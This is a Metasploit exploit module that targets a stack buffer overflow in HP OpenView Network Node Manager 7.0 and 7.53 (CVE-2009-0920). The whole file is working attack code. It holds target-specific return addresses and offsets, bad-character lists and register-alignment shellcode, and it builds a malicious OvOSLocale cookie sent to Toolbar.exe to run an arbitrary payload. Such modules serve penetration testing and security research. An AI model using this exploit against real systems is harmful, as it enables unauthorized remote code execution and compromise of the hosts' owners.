HP OpenView Network Node Manager Toolbar.exe CGI Cookie Handling Buffer Overflow

`##  
# $Id: hp_nnm_toolbar_02.rb 13194 2011-07-16 05:21:20Z sinn3r $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'HP OpenView Network Node Manager Toolbar.exe CGI Cookie Handling Buffer Overflow',  
'Description' => %q{  
This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.0  
and 7.53. By sending a CGI request with a specially OvOSLocale cookie to Toolbar.exe, an  
attacker may be able to execute arbitrary code. Please note that this module only works  
against a specific build (ie. NNM 7.53_01195)  
},  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 13194 $',  
'Author' =>  
[  
'Oren Isacson', # original discovery  
'juan vazquez', # metasploit module (7.0 target)  
'sinn3r', # 7.53_01195 target  
],  
'References' =>  
[  
[ 'CVE', '2009-0920' ],  
[ 'OSVDB', '53242' ],  
[ 'BID', '34294' ],  
[ 'URL', 'http://www.coresecurity.com/content/openview-buffer-overflows']  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 4000,  
'BadChars' => "\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x7f\x3b\x2b",  
'DisableNops' => true, # no need  
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,  
'EncoderOptions' =>  
{  
'BufferRegister' => 'EDX'  
}  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[  
#Windows XP SP3  
'HP OpenView Network Node Manager Release B.07.00',  
{  
'Ret' => 0x5A212147, # ovsnmp.dll call esp  
'Offset' => 0xFC, # until EIP  
# Pointer to string with length < 0x100  
# Avoid crash before vulnerable function returns  
# And should work as a "NOP" since it will prepend shellcode  
#'ReadAddress' => 0x5A03A225,# ov.dll  
'ReadAddress' => 0x5A03A225,# ov.dll  
'EDXAdjust' => 0x17,  
# 0x8 => offset until "0x90" nops  
# 0x4 => "0x90" nops  
# 0x2 => len(push esp, pop edx)  
# 0x3 => len(sub)  
# 0x6 => len(add)  
}  
],  
[  
#Windows Server 2003  
'HP OpenView Network Node Manager 7.53 Patch 01195',  
{  
'Eax' => 0x5a456eac, #Readable address for CMP BYTE PTR DS:[EAX],0  
'EaxOffset' => 251, #Offset to overwrite EAX  
'Ret' => 0x5A23377C, #CALL EDI  
'Max' => 8000, #Max buffer size  
}  
]  
],  
'DisclosureDate' => 'Jan 21 2009'))  
  
register_options( [ Opt::RPORT(80) ], self.class )  
end  
  
def exploit  
  
if target.name =~ /7\.53/  
  
#EDX alignment for alphanumeric shellcode  
#payload is in EDI first. We exchange it with EDX, align EDX, and then  
#jump to it.  
align = "\x87\xfa" #xchg edi,edx  
align << "\x80\xc2\x27" #add dl,0x27  
align << "\xff\xe2" #jmp edx  
  
#Add the alignment code to payload  
p = align + payload.encoded  
  
sploit = 'en_US'  
sploit << rand_text_alphanumeric(247)  
sploit << [target.ret].pack('V*')  
sploit << rand_text_alphanumeric(target['EaxOffset']-sploit.length+'en_US'.length)  
sploit << [target['Eax']].pack('V*')  
sploit << rand_text_alphanumeric(3200)  
sploit << make_nops(100 - align.length)  
sploit << align  
sploit << p  
sploit << rand_text_alphanumeric(target['Max']-sploit.length)  
  
elsif target.name =~ /B\.07\.00/  
  
edx = Rex::Arch::X86::EDX  
  
sploit = "en_US"  
sploit << rand_text_alphanumeric(target['Offset'] - "en_US".length, payload_badchars)  
sploit << [target.ret].pack('V')  
sploit << [target['ReadAddress']].pack('V')  
sploit << "\x90\x90\x90\x90"  
# Get in EDX a pointer to the shellcode start  
sploit << "\x54" # push esp  
sploit << "\x5A" # pop edx  
sploit << Rex::Arch::X86.sub(-(target['EDXAdjust']), edx, payload_badchars, false, true)  
sploit << "\x81\xc4\x48\xf4\xff\xff" # add esp, -3000  
sploit << payload.encoded  
  
end  
  
#Send the malicious request to /OvCgi/ToolBar.exe  
#If the buffer contains a badchar, NNM 7.53 will return a "400 Bad Request".  
#If the exploit causes ToolBar.exe to crash, NNM returns "error in CGI Application"  
send_request_raw({  
'uri' => "/OvCgi/Toolbar.exe",  
'method' => "GET",  
'cookie' => "OvOSLocale=" + sploit + "; OvAcceptLang=en-usa",  
}, 20)  
  
handler  
disconnect  
end  
  
end  
  
  
=begin  
NNM B.07.00's badchar set:  
00 0D 0A 20 3B 3D 2C 2B  
  
NNM 7.53_01195's badchar set:  
01 02 03 04 05 06 07 08 0a 0b 0c 0d 0e 0f 10 11 ................  
12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 7f ...............  
3b = delimiter  
2b = gets converted to 0x2b  
=end  
`